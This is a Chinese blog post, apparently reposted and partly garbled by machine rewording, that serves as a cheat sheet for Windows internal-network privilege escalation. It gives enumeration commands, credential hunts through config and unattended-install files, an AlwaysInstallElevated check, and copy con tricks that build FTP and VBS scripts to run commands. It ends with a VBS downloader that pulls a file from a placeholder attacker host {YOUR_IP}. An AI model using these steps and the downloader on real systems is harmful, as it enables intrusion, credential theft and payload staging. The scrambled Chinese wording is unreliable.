Windows内网渗透提权的几个实用命令 8090安适门户
这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习不雅观摩,还望大牛包涵指导。
1.获取操纵系统信息识别操纵系统名称及版本:
C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" OS Name: Microsoft Windows 10 Pro OS Version: 10.0.14393 N/A Build 14393固然中文系统你得这样:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"识别系统体系布局:
C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE% AMD64
检察所有环境变量:
C:\Users\thel3l> SET USERNAME=thel3l USERPROFILE=C:\Users\thel3l *snip*检察某特定用户信息:
C:\Users\thel3l>net user thel3l User name thel3l *snip* The command completed successfully 2.获取网络信息检察路由表信息:
C:\Users\thel3l> route print检察ARP缓存信息:
C:\Users\thel3l> arp -A检察防火墙法则:
C:\Users\thel3l> netstat -ano C:\Users\thel3l> netsh firewall show config C:\Users\thel3l> netsh firewall show state 3.应用措施及处事信息检察打算任务:
C:\Users\thel3l> schtasks /QUERY /fo LIST /v中文系统的命令,先调解GBK编码为437美国编码:
chcp 437然后
schtasks /QUERY /fo LIST /v检察处事进程ID:
C:\Users\thel3l> tasklist /SVC检察安置驱动:
C:\Users\thel3l> DRIVERQUERY检察安置措施和版本信息(缝隙操作线索):
C:\Users\thel3l> wmic product list brief检察处事、进程和启动措施信息:
C:\Users\thel3l> wmic service list brief C:\Users\thel3l> wmic process list brief C:\Users\thel3l> wmic startup list brief检察.msi措施的执行权限:
C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated检察是否设置有setuid和setgid:
C:\Users\thel3l> reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits检察安置补丁和时间信息:
C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn检察特定缝隙补丁信息:
C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx" 4.敏感数据和目录查找暗码文件或其它敏感文件:
C:\Users\thel3l> cd/ C:\Users\thel3l> dir /b/s password.txt C:\Users\thel3l> dir /b/s config.* C:\Users\thel3l> findstr /si password *.xml *.ini *.txt C:\Users\thel3l> findstr /si login *.xml *.ini *.txt
无人值守安置文件:
这些文件凡是包罗base64模式的暗码信息。这类文件在一些大型企业网络或GHO系统中可以发明,文件凡是的位置如下:
C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml
5.文件系统可以通过挪用系统预安置措施语言检察当前可访谒目录或文件权限,如python下:
import os; os.system("cmd /c {command here}")使用copy con命令创建ftp执行会话:
典型
C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批措置惩罚惩罚文件 ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编纂,再按回车退出 C:\Users\thel3l> ftp.bat # 执行创建的文件 ftp> # 执行ftp命令 ftp> !{command} # e.g. - !dir or !ipconfig使用copy con命令创建VBS脚本文件:
C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件 Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容 C:\Users\thel3l> commandExec.vbs #执行脚本文件
查抄文件夹可写状态:
C:\Users\thel3l> dir /a-r-d /s /b 6.一个有用的文件上传脚本' downloadfile.vbs
' Set your settings
strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"
strHDLocation = "c:\\{FILE_NAME.EXT}"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/13420.html